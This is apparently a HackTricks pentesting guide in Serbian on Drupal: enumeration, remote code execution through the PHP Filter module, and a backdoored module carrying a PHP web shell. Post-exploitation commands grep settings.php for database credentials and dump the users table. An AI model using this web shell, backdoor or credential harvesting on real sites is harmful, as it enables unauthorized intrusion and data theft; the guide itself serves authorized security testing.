hacktricks/network-services-pentesting/pentesting-web/drupal.md

8.8 KiB

Drupal

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

{% embed url="https://websec.nl/" %}

Otkriće

  • Proverite meta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal indeksira svoj sadržaj koristeći čvorove. Čvor može sadržati bilo šta kao što su blog post, anketa, članak, itd. URI stranica obično imaju oblik /node/<nodeid>.
curl drupal-site.com/node/1

Enumeracija

Drupal podrazumeva tri tipa korisnika po podrazumevanim postavkama:

  1. Administrator: Ovaj korisnik ima potpunu kontrolu nad Drupal veb sajtom.
  2. Autentifikovani korisnik: Ovi korisnici mogu da se prijave na veb sajt i obavljaju operacije poput dodavanja i uređivanja članaka na osnovu svojih dozvola.
  3. Anonimni: Svi posetioci veb sajta su označeni kao anonimni. Po podrazumevanim postavkama, ovi korisnici samo mogu da čitaju postove.

Verzija

  • Proverite /CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Novije instalacije Drupal-a po default-u blokiraju pristup fajlovima CHANGELOG.txt i README.txt. {% endhint %}

Enumeracija korisničkih imena

Registracija

Na /user/register pokušajte da kreirate korisničko ime, i ako je ime već zauzeto bićete obavešteni:

Zahtev za novu lozinku

Ako zatražite novu lozinku za postojeće korisničko ime:

Ako zatražite novu lozinku za nepostojeće korisničko ime:

Dobijanje broja korisnika

Pristupanjem /user/<broj> možete videti broj postojećih korisnika, u ovom slučaju je 2 jer /users/3 vraća grešku "nije pronađeno":

Skrivene stranice

Fuzz /node/$ gde je $ broj (od 1 do 500 na primer).
Možete pronaći skrivene stranice (test, dev) koje nisu referencirane od strane pretraživača.

Informacije o instaliranim modulima

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Automatsko

droopescan scan drupal -u http://drupal-site.local

RCE

Sa PHP Filter modulom

{% hint style="warning" %} U starijim verzijama Drupal-a (pre verzije 8), bilo je moguće prijaviti se kao administrator i omogućiti PHP filter modul, koji "Omogućava evaluaciju ugrađenog PHP koda/snippetova." {% endhint %}

Potreban vam je plugin php da bude instaliran (proverite pristupom /modules/php i ako vrati 403 onda postoji, ako nije pronađen, onda plugin php nije instaliran)

Idite na Modules -> (Proverite) PHP Filter -> Sačuvajte konfiguraciju

Zatim kliknite na Add content -> Izaberite Basic Page ili Article -> Napišite php shellcode u telu -> Izaberite PHP code u Text formatu -> Izaberite Preview

Na kraju, jednostavno pristupite novo kreiranom nodu:

curl http://drupal-site.local/node/3

Instaliranje PHP Filter modula

Od verzije 8 nadalje, PHP Filter modul nije instaliran podrazumevano. Da bismo iskoristili ovu funkcionalnost, moramo samostalno instalirati modul.

  1. Preuzmite najnoviju verziju modula sa Drupal veb sajta.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Kada se preuzme, idite na Administracija > Izveštaji > Dostupna ažuriranja.
  4. Kliknite na Pregledaj, izaberite fajl iz direktorijuma u koji smo ga preuzeli, a zatim kliknite na Instaliraj.
  5. Kada se modul instalira, možemo kliknuti na Sadržaj i napraviti novu osnovnu stranicu, slično kao što smo uradili u primeru za Drupal 7. Ponovo, obavezno izaberite PHP kod iz padajućeg menija Format teksta.

Modul sa zadnjim vratima

Modul sa zadnjim vratima može se kreirati dodavanjem školjke postojećem modulu. Module možete pronaći na drupal.org veb sajtu. Izaberimo modul poput CAPTCHA. Pomaknite se nadole i kopirajte link za tar.gz arhivu.

  • Preuzmite arhivu i izvucite njene sadržaje.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Napravite PHP web shell sa sledećim sadržajem:
<?php
system($_GET["cmd"]);
?>
  • Zatim treba da kreiramo .htaccess fajl kako bismo sebi omogućili pristup folderu. Ovo je neophodno jer Drupal zabranjuje direktni pristup /modules folderu.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Konfiguracija iznad će primeniti pravila za / folder kada zahtevamo fajl u /modules. Kopirajte oba ova fajla u captcha folder i napravite arhivu.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Pretpostavljajući da imamo administrativni pristup veb sajtu, kliknite na Manage, zatim na Extend na bočnoj traci. Zatim kliknite na dugme + Install new module, i bićemo preusmereni na stranicu za instalaciju, poput http://drupal-site.local/admin/modules/install. Pregledajte arhivu sa backdoor-om Captcha i kliknite na Install.
  • Kada instalacija uspe, idite na /modules/captcha/shell.php da biste izvršili komande.

Post Eksploatacija

Pročitajte settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Izbacivanje korisnika iz baze podataka

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Reference

{% embed url="https://websec.nl/" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: